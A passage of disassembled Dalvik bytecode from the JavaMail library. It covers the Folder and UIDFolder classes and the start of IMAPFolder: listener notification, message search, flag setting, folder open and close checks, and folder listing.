.method protected notifyFolderListeners(I)V
          .registers 4
00000000  iget-object             v0, p0, Folder->folderListeners:Vector
00000004  if-eqz                  v0, :1C
:8
00000008  new-instance            v0, FolderEvent
0000000C  invoke-direct           FolderEvent-><init>(Object, Folder, I)V, v0, p0, p0, p1
00000012  iget-object             v1, p0, Folder->folderListeners:Vector
00000016  invoke-direct           Folder->queueEvent(MailEvent, Vector)V, p0, v0, v1
:1C
0000001C  iget-object             v0, p0, Folder->store:Store
00000020  invoke-virtual          Store->notifyFolderListeners(I, Folder)V, v0, p1, p0
00000026  return-void
.end method

.method protected notifyFolderRenamedListeners(Folder)V
          .registers 4
00000000  iget-object             v0, p0, Folder->folderListeners:Vector
00000004  if-eqz                  v0, :1E
:8
00000008  new-instance            v0, FolderEvent
0000000C  const/4                 v1, 0x3
0000000E  invoke-direct           FolderEvent-><init>(Object, Folder, Folder, I)V, v0, p0, p0, p1, v1
00000014  iget-object             v1, p0, Folder->folderListeners:Vector
00000018  invoke-direct           Folder->queueEvent(MailEvent, Vector)V, p0, v0, v1
:1E
0000001E  iget-object             v0, p0, Folder->store:Store
00000022  invoke-virtual          Store->notifyFolderRenamedListeners(Folder, Folder)V, v0, p0, p1
00000028  return-void
.end method

.method protected notifyMessageAddedListeners([Message)V
          .registers 5
00000000  iget-object             v0, p0, Folder->messageCountListeners:Vector
00000004  if-nez                  v0, :A
:8
00000008  return-void
:A
0000000A  new-instance            v0, MessageCountEvent
0000000E  const/4                 v1, 0x1
00000010  const/4                 v2, 0x0
00000012  invoke-direct           MessageCountEvent-><init>(Folder, I, Z, [Message)V, v0, p0, v1, v2, p1
00000018  iget-object             v1, p0, Folder->messageCountListeners:Vector
0000001C  invoke-direct           Folder->queueEvent(MailEvent, Vector)V, p0, v0, v1
00000022  goto                    :8
.end method

.method protected notifyMessageChangedListeners(I, Message)V
          .registers 5
00000000  iget-object             v0, p0, Folder->messageChangedListeners:Vector
00000004  if-nez                  v0, :A
:8
00000008  return-void
:A
0000000A  new-instance            v0, MessageChangedEvent
0000000E  invoke-direct           MessageChangedEvent-><init>(Object, I, Message)V, v0, p0, p1, p2
00000014  iget-object             v1, p0, Folder->messageChangedListeners:Vector
00000018  invoke-direct           Folder->queueEvent(MailEvent, Vector)V, p0, v0, v1
0000001E  goto                    :8
.end method

.method protected notifyMessageRemovedListeners(Z, [Message)V
          .registers 5
00000000  iget-object             v0, p0, Folder->messageCountListeners:Vector
00000004  if-nez                  v0, :A
:8
00000008  return-void
:A
0000000A  new-instance            v0, MessageCountEvent
0000000E  const/4                 v1, 0x2
00000010  invoke-direct           MessageCountEvent-><init>(Folder, I, Z, [Message)V, v0, p0, v1, p1, p2
00000016  iget-object             v1, p0, Folder->messageCountListeners:Vector
0000001A  invoke-direct           Folder->queueEvent(MailEvent, Vector)V, p0, v0, v1
00000020  goto                    :8
.end method

.method public abstract open(I)V
.end method

.method public declared-synchronized removeConnectionListener(ConnectionListener)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Folder->connectionListeners:Vector
00000006  if-eqz                  v0, :14
:A
0000000A  iget-object             v0, p0, Folder->connectionListeners:Vector
0000000E  invoke-virtual          Vector->removeElement(Object)Z, v0, p1
:14
00000014  monitor-exit            p0
00000016  return-void
:18
00000018  move-exception          v0
0000001A  monitor-exit            p0
0000001C  throw                   v0
          .catchall {:2 .. :14} :18
.end method

.method public declared-synchronized removeFolderListener(FolderListener)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Folder->folderListeners:Vector
00000006  if-eqz                  v0, :14
:A
0000000A  iget-object             v0, p0, Folder->folderListeners:Vector
0000000E  invoke-virtual          Vector->removeElement(Object)Z, v0, p1
:14
00000014  monitor-exit            p0
00000016  return-void
:18
00000018  move-exception          v0
0000001A  monitor-exit            p0
0000001C  throw                   v0
          .catchall {:2 .. :14} :18
.end method

.method public declared-synchronized removeMessageChangedListener(MessageChangedListener)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Folder->messageChangedListeners:Vector
00000006  if-eqz                  v0, :14
:A
0000000A  iget-object             v0, p0, Folder->messageChangedListeners:Vector
0000000E  invoke-virtual          Vector->removeElement(Object)Z, v0, p1
:14
00000014  monitor-exit            p0
00000016  return-void
:18
00000018  move-exception          v0
0000001A  monitor-exit            p0
0000001C  throw                   v0
          .catchall {:2 .. :14} :18
.end method

.method public declared-synchronized removeMessageCountListener(MessageCountListener)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Folder->messageCountListeners:Vector
00000006  if-eqz                  v0, :14
:A
0000000A  iget-object             v0, p0, Folder->messageCountListeners:Vector
0000000E  invoke-virtual          Vector->removeElement(Object)Z, v0, p1
:14
00000014  monitor-exit            p0
00000016  return-void
:18
00000018  move-exception          v0
0000001A  monitor-exit            p0
0000001C  throw                   v0
          .catchall {:2 .. :14} :18
.end method

.method public abstract renameTo(Folder)Z
.end method

.method public search(SearchTerm)[Message
          .registers 3
00000000  invoke-virtual          Folder->getMessages()[Message, p0
00000006  move-result-object      v0
00000008  invoke-virtual          Folder->search(SearchTerm, [Message)[Message, p0, p1, v0
0000000E  move-result-object      v0
00000010  return-object           v0
.end method

.method public search(SearchTerm, [Message)[Message
          .registers 6
00000000  new-instance            v1, Vector
00000004  invoke-direct           Vector-><init>()V, v1
0000000A  const/4                 v0, 0x0
:C
0000000C  array-length            v2, p2
0000000E  if-lt                   v0, v2, :26
:12
00000012  invoke-virtual          Vector->size()I, v1
00000018  move-result             v0
0000001A  new-array               v0, v0, [Message
0000001E  invoke-virtual          Vector->copyInto([Object)V, v1, v0
00000024  return-object           v0
:26
00000026  aget-object             v2, p2, v0
0000002A  invoke-virtual          Message->match(SearchTerm)Z, v2, p1
00000030  move-result             v2
00000032  if-eqz                  v2, :40
:36
00000036  aget-object             v2, p2, v0
0000003A  invoke-virtual          Vector->addElement(Object)V, v1, v2
:40
00000040  add-int/lit8            v0, v0, 0x1
00000044  goto                    :C
:46
00000046  move-exception          v2
00000048  goto                    :40
          .catch MessageRemovedException {:26 .. :40} :46
.end method

.method public declared-synchronized setFlags(I, I, Flags, Z)V
          .registers 6
00000000  monitor-enter           p0
:2
00000002  if-le                   p1, p2, :A
:6
00000006  monitor-exit            p0
00000008  return-void
:A
0000000A  invoke-virtual          Folder->getMessage(I)Message, p0, p1
00000010  move-result-object      v0
00000012  invoke-virtual          Message->setFlags(Flags, Z)V, v0, p3, p4
:18
00000018  add-int/lit8            p1, p1, 0x1
0000001C  goto                    :2
:1E
0000001E  move-exception          v0
00000020  monitor-exit            p0
00000022  throw                   v0
:24
00000024  move-exception          v0
00000026  goto                    :18
          .catch MessageRemovedException {:A .. :18} :24
          .catchall {:A .. :18} :1E
.end method

.method public declared-synchronized setFlags([I, Flags, Z)V
          .registers 6
00000000  monitor-enter           p0
00000002  const/4                 v0, 0x0
:4
00000004  array-length            v1, p1
:6
00000006  if-lt                   v0, v1, :E
:A
0000000A  monitor-exit            p0
0000000C  return-void
:E
0000000E  aget                    v1, p1, v0
00000012  invoke-virtual          Folder->getMessage(I)Message, p0, v1
00000018  move-result-object      v1
0000001A  invoke-virtual          Message->setFlags(Flags, Z)V, v1, p2, p3
:20
00000020  add-int/lit8            v0, v0, 0x1
00000024  goto                    :4
:26
00000026  move-exception          v0
00000028  monitor-exit            p0
0000002A  throw                   v0
:2C
0000002C  move-exception          v1
0000002E  goto                    :20
          .catchall {:4 .. :6} :26
          .catch MessageRemovedException {:E .. :20} :2C
          .catchall {:E .. :20} :26
.end method

.method public declared-synchronized setFlags([Message, Flags, Z)V
          .registers 6
00000000  monitor-enter           p0
00000002  const/4                 v0, 0x0
:4
00000004  array-length            v1, p1
:6
00000006  if-lt                   v0, v1, :E
:A
0000000A  monitor-exit            p0
0000000C  return-void
:E
0000000E  aget-object             v1, p1, v0
00000012  invoke-virtual          Message->setFlags(Flags, Z)V, v1, p2, p3
:18
00000018  add-int/lit8            v0, v0, 0x1
0000001C  goto                    :4
:1E
0000001E  move-exception          v0
00000020  monitor-exit            p0
00000022  throw                   v0
:24
00000024  move-exception          v1
00000026  goto                    :18
          .catchall {:4 .. :6} :1E
          .catch MessageRemovedException {:E .. :18} :24
          .catchall {:E .. :18} :1E
.end method

.method public setSubscribed(Z)V
          .registers 3
00000000  new-instance            v0, MethodNotSupportedException
00000004  invoke-direct           MethodNotSupportedException-><init>()V, v0
0000000A  throw                   v0
.end method

.method public toString()String
          .registers 2
00000000  invoke-virtual          Folder->getFullName()String, p0
00000006  move-result-object      v0
00000008  if-eqz                  v0, :E
:C
0000000C  return-object           v0
:E
0000000E  invoke-super            Object->toString()String, p0
00000014  move-result-object      v0
00000016  goto                    :C
.end method

#--------------------------------------------------------------------------------
.class public abstract interface UIDFolder
.super Object
.source ""

.field public static final LASTUID:J = 0xFFFFFFFFFFFFFFFFL

.method public abstract getMessageByUID(J)Message
.end method

.method public abstract getMessagesByUID(J, J)[Message
.end method

.method public abstract getMessagesByUID([J)[Message
.end method

.method public abstract getUID(Message)J
.end method

.method public abstract getUIDValidity()J
.end method

#--------------------------------------------------------------------------------
.class public IMAPFolder
.super Folder
.source ""

.implements ResponseHandler
.implements UIDFolder

.field static final synthetic $assertionsDisabled:Z = false
.field private static final ABORTING:I = 0x2
.field private static final IDLE:I = 0x1
.field private static final RUNNING:I = 0x0
.field protected static final UNKNOWN_SEPARATOR:C = '\uFFFF'
.field protected attributes:[String
.field protected availableFlags:Flags
.field private cachedStatus:Status
.field private cachedStatusTime:J
.field private connectionPoolDebug:Z
.field private debug:Z
.field private doExpungeNotification:Z
.field protected exists:Z
.field protected fullName:String
.field private idleState:I
.field protected isNamespace:Z
.field protected messageCache:Vector
.field protected messageCacheLock:Object
.field protected name:String
.field private opened:Z
.field private out:PrintStream
.field protected permanentFlags:Flags
.field protected protocol:IMAPProtocol
.field private realTotal:I
.field private reallyClosed:Z
.field private recent:I
.field protected separator:C
.field private total:I
.field protected type:I
.field protected uidTable:Hashtable
.field private uidnext:J
.field private uidvalidity:J

.method static constructor <clinit>()V
          .registers 1
00000000  const-class             v0, IMAPFolder
00000004  invoke-virtual          Class->desiredAssertionStatus()Z, v0
0000000A  move-result             v0
0000000C  if-nez                  v0, :18
:10
00000010  const/4                 v0, 0x1
:12
00000012  sput-boolean            v0, IMAPFolder->$assertionsDisabled:Z
00000016  return-void
:18
00000018  const/4                 v0, 0x0
0000001A  goto                    :12
.end method

.method protected constructor <init>(ListInfo, IMAPStore)V
          .registers 5
00000000  iget-object             v0, p1, ListInfo->name:String
00000004  iget-char               v1, p1, ListInfo->separator:C
00000008  invoke-direct           IMAPFolder-><init>(String, C, IMAPStore)V, p0, v0, v1, p2
0000000E  iget-boolean            v0, p1, ListInfo->hasInferiors:Z
00000012  if-eqz                  v0, :22
:16
00000016  iget                    v0, p0, IMAPFolder->type:I
0000001A  or-int/lit8             v0, v0, 0x2
0000001E  iput                    v0, p0, IMAPFolder->type:I
:22
00000022  iget-boolean            v0, p1, ListInfo->canOpen:Z
00000026  if-eqz                  v0, :36
:2A
0000002A  iget                    v0, p0, IMAPFolder->type:I
0000002E  or-int/lit8             v0, v0, 0x1
00000032  iput                    v0, p0, IMAPFolder->type:I
:36
00000036  const/4                 v0, 0x1
00000038  iput-boolean            v0, p0, IMAPFolder->exists:Z
0000003C  iget-object             v0, p1, ListInfo->attrs:[String
00000040  iput-object             v0, p0, IMAPFolder->attributes:[String
00000044  return-void
.end method

.method protected constructor <init>(String, C, IMAPStore)V
          .registers 10
00000000  const-wide/16           v4, 0xFFFFFFFFFFFFFFFF
00000004  const/4                 v3, 0x1
00000006  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000008  const/4                 v2, 0x0
0000000A  invoke-direct           Folder-><init>(Store)V, p0, p3
00000010  iput-boolean            v2, p0, IMAPFolder->exists:Z
00000014  iput-boolean            v2, p0, IMAPFolder->isNamespace:Z
00000018  iput-boolean            v2, p0, IMAPFolder->opened:Z
0000001C  iput-boolean            v3, p0, IMAPFolder->reallyClosed:Z
00000020  iput                    v2, p0, IMAPFolder->idleState:I
00000024  iput                    v0, p0, IMAPFolder->total:I
00000028  iput                    v0, p0, IMAPFolder->recent:I
0000002C  iput                    v0, p0, IMAPFolder->realTotal:I
00000030  iput-wide               v4, p0, IMAPFolder->uidvalidity:J
00000034  iput-wide               v4, p0, IMAPFolder->uidnext:J
00000038  iput-boolean            v3, p0, IMAPFolder->doExpungeNotification:Z
0000003C  const/4                 v0, 0x0
0000003E  iput-object             v0, p0, IMAPFolder->cachedStatus:Status
00000042  const-wide/16           v0, 0x0
00000046  iput-wide               v0, p0, IMAPFolder->cachedStatusTime:J
0000004A  iput-boolean            v2, p0, IMAPFolder->debug:Z
0000004E  if-nez                  p1, :62
:52
00000052  new-instance            v0, NullPointerException
00000056  const-string            v1, "Folder name is null"
0000005A  invoke-direct           NullPointerException-><init>(String)V, v0, v1
00000060  throw                   v0
:62
00000062  iput-object             p1, p0, IMAPFolder->fullName:String
00000066  iput-char               p2, p0, IMAPFolder->separator:C
0000006A  new-instance            v0, Object
0000006E  invoke-direct           Object-><init>()V, v0
00000074  iput-object             v0, p0, IMAPFolder->messageCacheLock:Object
00000078  invoke-virtual          IMAPStore->getSession()Session, p3
0000007E  move-result-object      v0
00000080  invoke-virtual          Session->getDebug()Z, v0
00000086  move-result             v0
00000088  iput-boolean            v0, p0, IMAPFolder->debug:Z
0000008C  invoke-virtual          IMAPStore->getConnectionPoolDebug()Z, p3
00000092  move-result             v0
00000094  iput-boolean            v0, p0, IMAPFolder->connectionPoolDebug:Z
00000098  invoke-virtual          IMAPStore->getSession()Session, p3
0000009E  move-result-object      v0
000000A0  invoke-virtual          Session->getDebugOut()PrintStream, v0
000000A6  move-result-object      v0
000000A8  iput-object             v0, p0, IMAPFolder->out:PrintStream
000000AC  iget-object             v0, p0, IMAPFolder->out:PrintStream
000000B0  if-nez                  v0, :BC
:B4
000000B4  sget-object             v0, System->out:PrintStream
000000B8  iput-object             v0, p0, IMAPFolder->out:PrintStream
:BC
000000BC  iput-boolean            v2, p0, IMAPFolder->isNamespace:Z
000000C0  const                   v0, 0xFFFF
000000C6  if-eq                   p2, v0, :106
:CA
000000CA  if-eqz                  p2, :106
:CE
000000CE  iget-object             v0, p0, IMAPFolder->fullName:String
000000D2  invoke-virtual          String->indexOf(I)I, v0, p2
000000D8  move-result             v0
000000DA  if-lez                  v0, :106
:DE
000000DE  iget-object             v1, p0, IMAPFolder->fullName:String
000000E2  invoke-virtual          String->length()I, v1
000000E8  move-result             v1
000000EA  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
000000EE  if-ne                   v0, v1, :106
:F2
000000F2  iget-object             v1, p0, IMAPFolder->fullName:String
000000F6  invoke-virtual          String->substring(I, I)String, v1, v2, v0
000000FC  move-result-object      v0
000000FE  iput-object             v0, p0, IMAPFolder->fullName:String
00000102  iput-boolean            v3, p0, IMAPFolder->isNamespace:Z
:106
00000106  return-void
.end method

.method protected constructor <init>(String, C, IMAPStore, Z)V
          .registers 5
00000000  invoke-direct           IMAPFolder-><init>(String, C, IMAPStore)V, p0, p1, p2, p3
00000006  iput-boolean            p4, p0, IMAPFolder->isNamespace:Z
0000000A  return-void
.end method

.method static synthetic access$0(IMAPFolder)Status
          .registers 2
00000000  invoke-direct           IMAPFolder->getStatus()Status, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method static synthetic access$1(IMAPFolder)I
          .registers 2
00000000  iget                    v0, p0, IMAPFolder->idleState:I
00000004  return                  v0
.end method

.method static synthetic access$2(IMAPFolder, I)V
          .registers 2
00000000  iput                    p1, p0, IMAPFolder->idleState:I
00000004  return-void
.end method

.method private checkClosed()V
          .registers 3
00000000  iget-boolean            v0, p0, IMAPFolder->opened:Z
00000004  if-eqz                  v0, :18
:8
00000008  new-instance            v0, IllegalStateException
0000000C  const-string            v1, "This operation is not allowed on an open folder"
00000010  invoke-direct           IllegalStateException-><init>(String)V, v0, v1
00000016  throw                   v0
:18
00000018  return-void
.end method

.method private checkExists()V
          .registers 4
00000000  iget-boolean            v0, p0, IMAPFolder->exists:Z
00000004  if-nez                  v0, :4A
:8
00000008  invoke-virtual          IMAPFolder->exists()Z, p0
0000000E  move-result             v0
00000010  if-nez                  v0, :4A
:14
00000014  new-instance            v0, FolderNotFoundException
00000018  new-instance            v1, StringBuilder
0000001C  iget-object             v2, p0, IMAPFolder->fullName:String
00000020  invoke-static           String->valueOf(Object)String, v2
00000026  move-result-object      v2
00000028  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000002E  const-string            v2, " not found"
00000032  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000038  move-result-object      v1
0000003A  invoke-virtual          StringBuilder->toString()String, v1
00000040  move-result-object      v1
00000042  invoke-direct           FolderNotFoundException-><init>(Folder, String)V, v0, p0, v1
00000048  throw                   v0
:4A
0000004A  return-void
.end method

.method private checkFlags(Flags)V
          .registers 5
00000000  sget-boolean            v0, IMAPFolder->$assertionsDisabled:Z
00000004  if-nez                  v0, :20
:8
00000008  invoke-static           Thread->holdsLock(Object)Z, p0
0000000E  move-result             v0
00000010  if-nez                  v0, :20
:14
00000014  new-instance            v0, AssertionError
00000018  invoke-direct           AssertionError-><init>()V, v0
0000001E  throw                   v0
:20
00000020  iget                    v0, p0, IMAPFolder->mode:I
00000024  const/4                 v1, 0x2
00000026  if-eq                   v0, v1, :58
:2A
0000002A  new-instance            v0, IllegalStateException
0000002E  new-instance            v1, StringBuilder
00000032  const-string            v2, "Cannot change flags on READ_ONLY folder: "
00000036  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000003C  iget-object             v2, p0, IMAPFolder->fullName:String
00000040  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000046  move-result-object      v1
00000048  invoke-virtual          StringBuilder->toString()String, v1
0000004E  move-result-object      v1
00000050  invoke-direct           IllegalStateException-><init>(String)V, v0, v1
00000056  throw                   v0
:58
00000058  return-void
.end method

.method private checkOpened()V
          .registers 3
00000000  sget-boolean            v0, IMAPFolder->$assertionsDisabled:Z
00000004  if-nez                  v0, :20
:8
00000008  invoke-static           Thread->holdsLock(Object)Z, p0
0000000E  move-result             v0
00000010  if-nez                  v0, :20
:14
00000014  new-instance            v0, AssertionError
00000018  invoke-direct           AssertionError-><init>()V, v0
0000001E  throw                   v0
:20
00000020  iget-boolean            v0, p0, IMAPFolder->opened:Z
00000024  if-nez                  v0, :50
:28
00000028  iget-boolean            v0, p0, IMAPFolder->reallyClosed:Z
0000002C  if-eqz                  v0, :40
:30
00000030  new-instance            v0, IllegalStateException
00000034  const-string            v1, "This operation is not allowed on a closed folder"
00000038  invoke-direct           IllegalStateException-><init>(String)V, v0, v1
0000003E  throw                   v0
:40
00000040  new-instance            v0, FolderClosedException
00000044  const-string            v1, "Lost folder connection to server"
00000048  invoke-direct           FolderClosedException-><init>(Folder, String)V, v0, p0, v1
0000004E  throw                   v0
:50
00000050  return-void
.end method

.method private checkRange(I)V
          .registers 6
00000000  const/4                 v0, 0x1
00000002  if-ge                   p1, v0, :12
:6
00000006  new-instance            v0, IndexOutOfBoundsException
0000000A  invoke-direct           IndexOutOfBoundsException-><init>()V, v0
00000010  throw                   v0
:12
00000012  iget                    v0, p0, IMAPFolder->total:I
00000016  if-gt                   p1, v0, :1C
:1A
0000001A  return-void
:1C
0000001C  iget-object             v1, p0, IMAPFolder->messageCacheLock:Object
00000020  monitor-enter           v1
00000022  const/4                 v0, 0x0
:24
00000024  invoke-direct           IMAPFolder->keepConnectionAlive(Z)V, p0, v0
:2A
0000002A  monitor-exit            v1
:2C
0000002C  iget                    v0, p0, IMAPFolder->total:I
00000030  if-le                   p1, v0, :1A
:34
00000034  new-instance            v0, IndexOutOfBoundsException
00000038  invoke-direct           IndexOutOfBoundsException-><init>()V, v0
0000003E  throw                   v0
:40
00000040  move-exception          v0
:42
00000042  new-instance            v2, FolderClosedException
00000046  invoke-virtual          ConnectionException->getMessage()String, v0
0000004C  move-result-object      v0
0000004E  invoke-direct           FolderClosedException-><init>(Folder, String)V, v2, p0, v0
00000054  throw                   v2
:56
00000056  move-exception          v0
00000058  monitor-exit            v1
:5A
0000005A  throw                   v0
:5C
0000005C  move-exception          v0
:5E
0000005E  new-instance            v2, MessagingException
00000062  invoke-virtual          ProtocolException->getMessage()String, v0
00000068  move-result-object      v3
0000006A  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
00000070  throw                   v2
          .catch ConnectionException {:24 .. :2A} :40
          .catch ProtocolException {:24 .. :2A} :5C
          .catchall {:24 .. :2A} :56
          .catchall {:2A .. :2C} :56
          .catchall {:42 .. :5A} :56
          .catchall {:5E .. :72} :56
.end method

.method private cleanup(Z)V
          .registers 4
00000000  const/4                 v1, 0x0
00000002  const/4                 v0, 0x0
00000004  invoke-direct           IMAPFolder->releaseProtocol(Z)V, p0, p1
0000000A  iput-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
0000000E  iput-object             v0, p0, IMAPFolder->messageCache:Vector
00000012  iput-object             v0, p0, IMAPFolder->uidTable:Hashtable
00000016  iput-boolean            v1, p0, IMAPFolder->exists:Z
0000001A  iput-object             v0, p0, IMAPFolder->attributes:[String
0000001E  iput-boolean            v1, p0, IMAPFolder->opened:Z
00000022  iput                    v1, p0, IMAPFolder->idleState:I
00000026  const/4                 v0, 0x3
00000028  invoke-virtual          IMAPFolder->notifyConnectionListeners(I)V, p0, v0
0000002E  return-void
.end method

.method private close(Z, Z)V
          .registers 7
00000000  sget-boolean            v0, IMAPFolder->$assertionsDisabled:Z
00000004  if-nez                  v0, :20
:8
00000008  invoke-static           Thread->holdsLock(Object)Z, p0
0000000E  move-result             v0
00000010  if-nez                  v0, :20
:14
00000014  new-instance            v0, AssertionError
00000018  invoke-direct           AssertionError-><init>()V, v0
0000001E  throw                   v0
:20
00000020  iget-object             v1, p0, IMAPFolder->messageCacheLock:Object
00000024  monitor-enter           v1
:26
00000026  iget-boolean            v0, p0, IMAPFolder->opened:Z
0000002A  if-nez                  v0, :4C
:2E
0000002E  iget-boolean            v0, p0, IMAPFolder->reallyClosed:Z
00000032  if-eqz                  v0, :4C
:36
00000036  new-instance            v0, IllegalStateException
0000003A  const-string            v2, "This operation is not allowed on a closed folder"
0000003E  invoke-direct           IllegalStateException-><init>(String)V, v0, v2
00000044  throw                   v0
:46
00000046  move-exception          v0
00000048  monitor-exit            v1
:4A
0000004A  throw                   v0
:4C
0000004C  const/4                 v0, 0x1
:4E
0000004E  iput-boolean            v0, p0, IMAPFolder->reallyClosed:Z
00000052  iget-boolean            v0, p0, IMAPFolder->opened:Z
00000056  if-nez                  v0, :5E
:5A
0000005A  monitor-exit            v1
:5C
0000005C  return-void
:5E
0000005E  invoke-virtual          IMAPFolder->waitIfIdle()V, p0
00000064  if-eqz                  p2, :CE
:68
00000068  iget-boolean            v0, p0, IMAPFolder->debug:Z
0000006C  if-eqz                  v0, :A8
:70
00000070  iget-object             v0, p0, IMAPFolder->out:PrintStream
00000074  new-instance            v2, StringBuilder
00000078  const-string            v3, "DEBUG: forcing folder "
0000007C  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000082  iget-object             v3, p0, IMAPFolder->fullName:String
00000086  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
0000008C  move-result-object      v2
0000008E  const-string            v3, " to close"
00000092  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000098  move-result-object      v2
0000009A  invoke-virtual          StringBuilder->toString()String, v2
000000A0  move-result-object      v2
000000A2  invoke-virtual          PrintStream->println(String)V, v0, v2
:A8
000000A8  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
000000AC  if-eqz                  v0, :BA
:B0
000000B0  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
000000B4  invoke-virtual          IMAPProtocol->disconnect()V, v0
:BA
000000BA  iget-boolean            v0, p0, IMAPFolder->opened:Z
000000BE  if-eqz                  v0, :CA
:C2
000000C2  const/4                 v0, 0x1
000000C4  invoke-direct           IMAPFolder->cleanup(Z)V, p0, v0
:CA
000000CA  monitor-exit            v1
:CC
000000CC  goto                    :5C
:CE
000000CE  iget-object             v0, p0, IMAPFolder->store:Store
000000D2  check-cast              v0, IMAPStore
000000D6  invoke-virtual          IMAPStore->isConnectionPoolFull()Z, v0
000000DC  move-result             v0
000000DE  if-eqz                  v0, :144
:E2
000000E2  iget-boolean            v0, p0, IMAPFolder->debug:Z
000000E6  if-eqz                  v0, :F8
:EA
000000EA  iget-object             v0, p0, IMAPFolder->out:PrintStream
000000EE  const-string            v2, "DEBUG: pool is full, not adding an Authenticated connection"
000000F2  invoke-virtual          PrintStream->println(String)V, v0, v2
:F8
000000F8  if-eqz                  p1, :106
:FC
000000FC  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
00000100  invoke-virtual          IMAPProtocol->close()V, v0
:106
00000106  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
0000010A  if-eqz                  v0, :BA
:10E
0000010E  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
00000112  invoke-virtual          IMAPProtocol->logout()V, v0
:118
00000118  goto                    :BA
:11A
0000011A  move-exception          v0
:11C
0000011C  new-instance            v2, MessagingException
00000120  invoke-virtual          ProtocolException->getMessage()String, v0
00000126  move-result-object      v3
00000128  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
0000012E  throw                   v2
:130
00000130  move-exception          v0
:132
00000132  iget-boolean            v2, p0, IMAPFolder->opened:Z
00000136  if-eqz                  v2, :142
:13A
0000013A  const/4                 v2, 0x1
0000013C  invoke-direct           IMAPFolder->cleanup(Z)V, p0, v2
:142
00000142  throw                   v0
:144
00000144  if-nez                  p1, :160
:148
00000148  iget                    v0, p0, IMAPFolder->mode:I
:14C
0000014C  const/4                 v2, 0x2
0000014E  if-ne                   v0, v2, :160
:152
00000152  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
00000156  iget-object             v2, p0, IMAPFolder->fullName:String
0000015A  invoke-virtual          IMAPProtocol->examine(String)MailboxInfo, v0, v2
:160
00000160  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
00000164  if-eqz                  v0, :BA
:168
00000168  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
0000016C  invoke-virtual          IMAPProtocol->close()V, v0
00000172  goto                    :BA
:174
00000174  move-exception          v0
00000176  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
0000017A  if-eqz                  v0, :160
:17E
0000017E  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
00000182  invoke-virtual          IMAPProtocol->disconnect()V, v0
:188
00000188  goto                    :160
          .catchall {:26 .. :4A} :46
          .catchall {:4E .. :5C} :46
          .catch ProtocolException {:5E .. :BA} :11A
          .catchall {:5E .. :BA} :130
          .catchall {:BA .. :CC} :46
          .catch ProtocolException {:CE .. :118} :11A
          .catchall {:CE .. :118} :130
          .catchall {:11C .. :130} :130
          .catchall {:132 .. :144} :46
          .catch ProtocolException {:148 .. :14C} :11A
          .catchall {:148 .. :14C} :130
          .catch ProtocolException {:152 .. :160} :174
          .catchall {:152 .. :160} :130
          .catch ProtocolException {:160 .. :188} :11A
          .catchall {:160 .. :188} :130
.end method

.method private declared-synchronized doList(String, Z)[Folder
          .registers 11
00000000  const/4                 v4, 0x0
00000002  monitor-enter           p0
:4
00000004  invoke-direct           IMAPFolder->checkExists()V, p0
0000000A  invoke-direct           IMAPFolder->isDirectory()Z, p0
00000010  move-result             v0
00000012  if-nez                  v0, :20
:16
00000016  const/4                 v0, 0x0
00000018  new-array               v0, v0, [Folder
:1C
0000001C  monitor-exit            p0
0000001E  return-object           v0
:20
00000020  invoke-virtual          IMAPFolder->getSeparator()C, p0
00000026  move-result             v1
00000028  new-instance            v0, IMAPFolder$2
0000002C  invoke-direct           IMAPFolder$2-><init>(IMAPFolder, Z, C, String)V, v0, p0, p2, v1, p1
00000032  invoke-virtual          IMAPFolder->doCommandIgnoreFailure(IMAPFolder$ProtocolCommand)Object, p0, v0
00000038  move-result-object      v0
0000003A  check-cast              v0, [ListInfo
0000003E  if-nez                  v0, :4A
:42
00000042  const/4                 v0, 0x0
00000044  new-array               v0, v0, [Folder
00000048  goto                    :1C
:4A
0000004A  array-length            v2, v0
0000004C  if-lez                  v2, :8E
:50
00000050  const/4                 v2, 0x0
00000052  aget-object             v2, v0, v2
00000056  iget-object             v2, v2, ListInfo->name:String
0000005A  new-instance            v3, StringBuilder
0000005E  iget-object             v5, p0, IMAPFolder->fullName:String
00000062  invoke-static           String->valueOf(Object)String, v5
00000068  move-result-object      v5
0000006A  invoke-direct           StringBuilder-><init>(String)V, v3, v5
00000070  invoke-virtual          StringBuilder->append(C)StringBuilder, v3, v1
00000076  move-result-object      v1
00000078  invoke-virtual          StringBuilder->toString()String, v1
0000007E  move-result-object      v1
00000080  invoke-virtual          String->equals(Object)Z, v2, v1
00000086  move-result             v1
00000088  if-eqz                  v1, :8E
:8C
0000008C  const/4                 v4, 0x1
:8E
0000008E  array-length            v1, v0
00000090  sub-int/2addr           v1, v4
00000092  new-array               v2, v1, [IMAPFolder
00000096  move                    v3, v4
:98
00000098  array-length            v1, v0
0000009A  if-lt                   v3, v1, :A2
:9E
0000009E  move-object             v0, v2
000000A0  goto                    :1C
:A2
000000A2  sub-int                 v5, v3, v4
000000A6  new-instance            v6, IMAPFolder
000000AA  aget-object             v7, v0, v3
000000AE  iget-object             v1, p0, IMAPFolder->store:Store
000000B2  check-cast              v1, IMAPStore
